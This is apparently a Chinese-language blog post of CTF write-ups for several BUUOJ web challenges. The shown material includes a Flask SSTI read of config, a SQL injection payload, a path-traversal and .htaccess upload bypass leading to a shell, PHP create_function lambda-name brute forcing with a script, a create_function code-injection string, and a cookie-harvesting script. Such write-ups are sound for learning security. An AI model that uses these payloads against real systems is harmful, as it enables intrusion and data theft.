[BUUOJ] Learn 6

/ 0评 / 0

[WesternCTF2018]shrine

打开后给了源码,python写的

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
    return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

存在shrine目录盲猜一手ssti注入,

存在ssti,分析源码,发现app.config['FLAG'] = os.environ.pop('FLAG') ,注册了一个flag的config,但是又过滤掉了config,还过滤掉了一手括号。
python还有一些内置函数,比如url_for和get_flashed_messages可以读一些信息。构造一下读取globals

发现有一吨代码,从中发现了关键的 'current_app': <Flask 'app'>。读一下这个文件的config
['current_app'].config
flag就被包含在里面了


[RootersCTF2019]babyWeb

这题是真的没话说,基本没过滤的sql注入题
sqlmap跑了一年,发现还是没有flag,后来经队里师傅提醒
1||1=1 limit 1
获得flag


[BBCTF2020]imgaccess2

题很难,BUU有环境了,拿上来看着WP复现一下(y1ng师傅tttttql)
打开靶机,一个文件上传,测试后只能上传jpg,审查元素发现真实长传路径,猜测有文件遍历
经队里guoke师傅提醒,使用/的双url编码绕过并成功读取到文件。
因为是python写的,读一下app.py
 

from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
if not os.path.exists(app.config['UPLOAD_FOLDER']):
    os.mkdir(app.config['UPLOAD_FOLDER'])
def secure_filename(filename):
    return re.sub(r"(\.\.|/)", "", filename)
def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route("/")
def index():
    return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
    caption = request.form["caption"]
    file = request.files["image"]
    if file.filename == '':
        flash('No selected file')
        return redirect("/")
    elif not allowed_file(file.filename):
        flash('Please upload images only.')
        return redirect("/")
    else:
        if not request.headers.get("X-Real-IP"):
           ip = request.remote_addr
        else:
           ip = request.headers.get("X-Real-IP")
        dirname = md5(ip.encode()).hexdigest()
        filename = secure_filename(file.filename)
        upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
        if not os.path.exists(upload_directory):
            os.mkdir(upload_directory)
        upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
        file.save(upload_path)
        return render_template("uploaded.html", path = os.path.join(dirname, filename))
@app.route("/view/")
def view(path):
    return render_template("view.html", path = path)
@app.route("/uploads/")
def uploads(path):
    # TODO(noob):
    # zevtnax told me use apache for static files. I've
    # already configured it to serve /uploads_apache but it
    # still needs testing. I'm a security noob anyways.
    return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
if __name__ == "__main__":
    app.run(port=5000)

审计源码发现最后给了提示,上传的文件还会镜像上传到/uploads_apache下,还允许上传一个后缀名为 's'的文件。想到.htaccess,那怎么把它变成's'后缀呢
继续审计,发现secure_filename(file.filename)跟进函数发现
def secure_filename(filename):
return re.sub(r"(..|/)", "", filename)
该函数会把文件名含有. / 的全部替换为空,那我们上传一个.htacces..s在上传一个图片马就可以getshell了
(没找到flag血亏)
经guoke师傅提醒,在内网里(为啥)


[SUCTF 2018]annonymous

给了源码

<?php
$MY = create_function("","die(<code class="prettyprint" >cat flag.php);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);

源码很简单
我们只要执行$MY即可,可是怎么执行呢?
create_function()函数(createfunction()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用)有个漏洞:
在创建之后会生成一个函数名为:%00lambda
%d
%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了
写个脚本一直去刷新访问即可:

import requests
while True:
    r=requests.get('http://996ad41a-f4a1-4805-8de0-44f476747f11.node3.buuoj.cn/?func_name=%00lambda_1')
    if 'flag' in r.text:
        print(r.text)
        break

过一会就会出flag了
那么create_function()函数还有什么漏洞呢?百度以后我们发现了这样的利用方式
如果我们的代码是这样

<?php
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>

假设我们传入?id=2;}phpinfo();/*
后台执行就变成了这样

源代码:
function fT($a) {
echo "test".$a;
}
注入后代码:
function fT($a) {
echo "test";}
phpinfo();/*;//此处为注入代码。
}

就可以执行我们的恶意命令了
参考:https://blog.csdn.net/dyw_666666/article/details/90042852


[b01lers2020]Scrambled

这题刚上的时候就见过了,利用点在cookie中transmissions中的值。写个脚本跑一下就出flag了
(借一下guoke师傅脚本)

import requests
from urllib.parse import unquote
url='http://6db759d4-9ce6-4e40-9736-9b2f84b9540f.node3.buuoj.cn/'
r=requests.session()
cookie=r.get(url).cookies
data=[0]*100
for i in range(300):
    cookie=r.get(url).cookies
    key=unquote(requests.utils.dict_from_cookiejar(cookie)['transmissions'].replace('kxkxkxkxsh',''))[2:]
    #print(key)
    value=unquote(requests.utils.dict_from_cookiejar(cookie)['transmissions'].replace('kxkxkxkxsh',''))[0:1]
    #print(value)
    data[int(key)]=value
for i in data:
    print(i,end='')

 

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注